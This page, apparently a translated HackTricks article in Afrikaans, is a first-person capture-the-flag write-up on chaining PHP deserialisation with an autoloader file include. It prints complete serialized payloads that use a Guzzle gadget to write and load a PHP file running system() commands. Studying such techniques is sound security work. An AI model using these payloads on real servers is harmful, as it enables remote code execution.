7.7 KiB
PHP - Deserialisering + Autoload Klasse
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Eerstens, jy moet kyk wat Autoloading Klassen is.
PHP deserialisering + spl_autoload_register + LFI/Gadget
Ons is in 'n situasie waar ons 'n PHP deserialisering in 'n webapp gevind het met geen biblioteek wat kwesbaar is vir gadgets binne phpggc
nie. Tog, in dieselfde houer was daar 'n ander komponis webapp met kwesbare biblioteke. Daarom was die doel om die komponislaaier van die ander webapp te laai en dit te misbruik om 'n gadget te laai wat daardie biblioteek met 'n gadget van die webapp wat kwesbaar is vir deserialisering, sal ontplof.
Stappe:
- Jy het 'n deserialisering gevind en daar is geen gadget in die huidige app kode nie
- Jy kan 'n
spl_autoload_register
funksie soos die volgende misbruik om enige plaaslike lêer met.php
uitbreiding te laai - Hiervoor gebruik jy 'n deserialisering waar die naam van die klas binne
$name
gaan wees. Jy kan nie "/" of "." in 'n klasnaam in 'n geserialiseerde objek gebruik nie, maar die kode vervang die onderstrepings ("_") met skewe strepies ("/"). So 'n klasnaam soostmp_passwd
sal omgeskakel word na/tmp/passwd.php
en die kode sal probeer om dit te laai.
'n Gadget voorbeeld sal wees:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
As jy 'n lêeroplaai het en 'n lêer met .php
-uitbreiding kan oplaai, kan jy hierdie funksionaliteit direk misbruik en reeds RCE kry.
{% endhint %}
In my geval, het ek niks soos dit gehad nie, maar daar was binne die dieselfde houer 'n ander komponis webblad met 'n biblioteek wat kwesbaar is vir 'n phpggc
gadget.
- Om hierdie ander biblioteek te laai, moet jy eers die komponislaaier van daardie ander webtoepassing laai (want die een van die huidige toepassing sal nie toegang hê tot die biblioteke van die ander nie.) Deur die pad van die toepassing te ken, kan jy dit baie maklik bereik met:
O:28:"www_frontend_vendor_autoload":0:{}
(In my geval was die komponislaaier in/www/frontend/vendor/autoload.php
) - Nou kan jy die ander app komponislaaier laai, so dit is tyd om die
phpgcc
payload te genereer om te gebruik. In my geval het ekGuzzle/FW1
gebruik, wat my toegelaat het om enige lêer binne die lêerstelsel te skryf. - LET WEL: Die gegenereerde gadget het nie gewerk nie, om dit te laat werk het ek daardie payload
chain.php
van phpggc gewysig en alle eienskappe van die klasse van privaat na publiek gestel. As dit nie gedoen word nie, het die eienskappe van die geskepte objek na deserialisering van die string geen waardes gehad nie. - Nou het ons die manier om die ander app komponislaaier te laai en 'n phpggc payload wat werk, maar ons moet dit in dieselfde versoek doen sodat die laaier gelaai kan word wanneer die gadget gebruik word. Hiervoor het ek 'n geserialiseerde array met albei objekke gestuur soos:
- Jy kan eers die laaier sien wat gelaai word en dan die payload
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Nou kan ons 'n lêer skep en skryf, egter, die gebruiker kon nie in enige gids binne die webbediener skryf nie. Soos jy in die payload kan sien, word PHP
system
met 'n paar base64 geskep in/tmp/a.php
. Dan kan ons die eerste tipe payload hergebruik wat ons gebruik het as LFI om die composer loader van die ander webapp te laai om die gegenereerde/tmp/a.php
lêer te laai. Voeg dit net by die deserialisering gadget:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Opsomming van die payload
- Laai die composer autoload van 'n ander webapp in dieselfde houer
- Laai 'n phpggc gadget om 'n biblioteek van die ander webapp te misbruik (die aanvanklike webapp wat kwesbaar was vir deserialisering het geen gadgets in sy biblioteke gehad nie)
- Die gadget sal 'n lêer met 'n PHP payload daarop in /tmp/a.php met kwaadwillige opdragte skep (die webapp gebruiker kan nie in enige gids van enige webapp skryf nie)
- Die finale deel van ons payload sal die gegenereerde php-lêer laai wat opdragte sal uitvoer
Ek moes hierdie deserialisering twee keer aanroep. In my toetsing is die eerste keer die /tmp/a.php
lêer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai.
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.